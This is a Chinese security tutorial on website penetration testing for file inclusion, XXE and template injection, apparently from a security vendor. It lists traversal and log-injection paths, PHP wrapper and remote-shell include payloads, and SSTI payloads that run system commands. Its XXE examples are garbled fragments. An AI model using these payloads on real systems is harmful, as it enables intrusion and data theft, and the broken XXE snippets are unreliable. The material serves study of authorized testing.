当前位置:首页 >  站长 >  建站经验 >  正文

网站渗透测试 对文件包含注入检测办法

 2019-10-11 10:10  来源:A5用户投稿  我来投稿   websafe的个人主页 撤稿纠错

  短视频,自媒体,达人种草一站服务

昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更多的客户了解到具体测试的内容,是如何进行全面的网站安全测试。

3.8. 文件包含

3.8.1. 基础

常见的文件包含漏洞的形式为

考虑常用的几种包含方式为

同目录包含 file=.htaccess

目录遍历 ?file=../../../../../../../../../var/lib/locate.db

日志注入 ?file=../../../../../../../../../var/log/apache/error.log

利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

3.8.2. 绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

3.8.2.1. url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

3.8.2.2. 特殊字符绕过

某些情况下,读文件支持使用Shell通配符,如 ? * 等

url中 使用 ? # 可能会影响include包含的结果

某些情况下,unicode编码不同但是字形相近的字符有同一个效果

3.8.2.3. %00截断

几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。

3.8.2.4. 长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义“`#define MAX_PATH 260“`,第260个字符为字符串结尾的“`0“`

linux可以用getconf来判断文件名长度限制和文件路径长度限制

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,`././././` (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

3.8.2.5. 伪协议绕过

远程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload为 ?file=[http|https|ftp]://域名/shell.txt

PHP INPUT: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input

: 使用伪协议读取文件,payload为 ?file=php://filter/convert.-encode/resource=index.php

DATA: 使用data伪协议读取文件,payload为 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On

3.9. XXE

3.9.1. XML基础

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。

3.9.2. XXE

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

3.9.3. 攻击方式

3.9.3.1. 拒绝服务攻击

]>

&a2;

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

3.9.3.2. 文件读取

]>

&file;

3.9.3.3. SSRF

]>

4

3.9.3.4. RCE

]>

&xxe;

3.9.3.5. XInclude

3.10 模板注入漏洞

3.10. 模版注入

3.10.1. 简介

模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

3.10.2. 测试方法

确定使用的引擎

查看引擎相关的文档,确定其安全机制以及自带的函数和变量

需找攻击面,尝试攻击

3.10.3. 测试用例

简单的数学表达式,{{ 7+7 }} => 14

字符串表达式 {{ "ajin" }} => ajin

Ruby

Java

${7*7}

Twig

{{7*7}}

Smarty

{php}echo `id`;{/php}

AngularJS

$eval('1+1')

Tornado

引用模块 {% import module %}

=> {% import os %}{{ os.popen("whoami").read() }}

Flask/Jinja2

{{ config.items() }}

{{''.__class__.__mro__[-1].__subclasses__()}}

Django

{{ request }}

{% debug %}

{% load module %}

{% include "x.html" %}

{% extends "x.html" %}

3.10.4. 目标

创建对象

文件读写

远程文件包含

信息泄漏 提权

3.10.5. 相关属性

3.10.5.1. __class__

python中的新式类(即显示继承object对象的类)都有一个属性 __class__ 用于获取当前实例对应的类,例如 "".__class__ 就可以获取到字符串实例对应的类

3.10.5.2. __mro__

python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。

3.10.5.3. __globals__

保存了函数所有的所有全局变量,在利用中,可以使用 __init__ 获取对象的函数,并通过 __globals__ 获取 file os 等模块以进行下一步的利用

3.10.5.4. __subclasses__()

python的新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。

因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。这一节渗透测试讲到的这些内容和绕过手法,如果对自己网站不太放心的话可以找专业的网站安全公司来处理解决,国内做的比较好的如Sinesafe,绿盟,启明星辰等等。

作者: websafe    /    文章:75篇

申请创业报道,分享创业好点子。点击此处,共同探讨创业新机遇!

相关文章

  • 网站命令执行渗透测试步骤详情

    哈喽大家好,近期我们Sine安全对客户平台进行渗透测试的时候,发现有一些命令执行的漏洞测试语句和函数,导致服务器被提权被入侵,上一节提到XSS跨站脚本攻击检测方法,本章来总和一下脚本执行命令的详细检测手段,以及绕过waf的办法,只有这样详细的对平台进行安全测试才能保障整个平台安全稳定。

  • 渗透测试中遇到的越权漏洞该如何解决

    对存在权限验证的页面进行安全效验,效验网站APP前端获取到的参数,ID,账户密码,返回也需要效验。对于修改,添加等功能进行当前权限判断,验证所属用户,使用seesion来安全效验用户的操作权限,get,post数据只允许输入指定的信息。

  • 渗透测试XSS跨站攻击检测手法

    国庆假期结束,这一节准备XSS跨站攻击渗透测试中的利用点,上一节讲了SQL注入攻击的详细流程,很多朋友想要咨询具体在跨站攻击上是如何实现和利用的,那么我们Sinesafe渗透测试工程师为大家详细的讲讲这个XSS是如何实现以及原理。

  • 渗透测试对网站注入攻击方法剖析

    国庆即将到来,前一期讲到获取网站信息判断所属环境以及各个端口的用处和弱口令密码利用方法,这期仍有很多客户找到我们Sine安全想要了解针对于SQL注入攻击的测试方法,这一期我们来讲解下注入的攻击分类和使用手法,让客户明白漏洞是如何产生的,会给网站安全带来怎样的影响!

  • 实战渗透测试判断网站信息内容讲解

    上一节讲到渗透测试中的代码审计讲解,对整个代码的函数分析以及危险语句的避让操作,近期很多客户找我们Sine安全想要了解如何获取到网站的具体信息,以及我们整个渗透工作的流程,因为这些操作都是通过实战累计下来的竟然,渗透测试是对网站检查安全性以及稳定性的一个预防针,前提是必须要有客户的授权才能做这些操作

  • b2b2c多用户商城系统的盈利模式有哪些?看完这个你就懂了!

    竞价排名是按点击付费,广告出现在搜索结果靠前的位置,如果没有被用户点击,不收取广告费。但大多数企业为了促进商城的产品销售,都希望自己的商城网站排名靠前,根据商家缴纳的会员费标准不同决定商城网站在主站中的排名情况,如果排名靠前,买家在搜索对应信息时,你的网站就会排在其第一位,可以让买家第一时间看到。其

  • 搭建网上商城系统要注意哪些事项?

    这个冬季,天气异常寒冷,想买东西,又不想出门怎么办?随着互联网的快速发展,足不出户网上购物已成为一种潮流,而这种新兴的购物方式带动了电商行业的蓬勃发展,涌现出了京东、天猫、聚美优品等电商大佬企业。

  • 模板网站和定制网站哪个好

    互联网+时代,许多公司会通过建设网站,在互联网上扩展其营销渠道,找格子网络建设网站,主要有模板网站和定制网站两大类,那模板网站和定制网站哪个好?今天,格子网络给大家分析下模板网站和定制网站的优缺点,希望能帮到大家,更好的选择。

  • 网站建设前需要搞清楚这几个问题

    对于很多不了解网站的企业而言,建站其实是很简单的,会找一家合适的建站公司,然后将一切事宜都交由其处理,这样做虽然是非常省事,但是企业不去参与其中的建设,那么对网站就不会有了解,后期更多的事项都不能够把控,所以这样的方式不可取,企业建站前要学着了解一些概念性的问题。

    标签:
    网站建设
  • 如何解决网站被DDOS攻击?彻底恢复网站的正常访问

    随之移动互联网数据网络的不断进步,在给大家提供多种多样便捷的另外,DDoS攻击的经营规模也愈来愈大,如今早已进到了Tbps的DDoS攻击时代。DDoS攻击不但经营规模愈来愈大,拒绝服务攻击也愈来愈繁杂,很多传统的ddos攻击安全防护对策已没法解决日渐演变的攻击方法。

    标签:
    ddos攻击
  • 都说做网站能够赚钱?说说我的亲身经历

    常常看到各种网赚,记得以前自己就上过当,受过骗,心心念念的赚钱、赚钱,放到促成了别人赚钱,现在网络上还是充满了各种欺骗,估摸着还是有源源不断的人,会走这么一遭。直到后来,自己开始对互联网有更深的认识,总算是不会轻易的受骗(这都是钱堆出来的,哭,心疼自己3秒),能够看错它到底是不是套路,通过教你赚钱来

榜单

热门排行

信息推荐

扫一扫关注最新创业资讯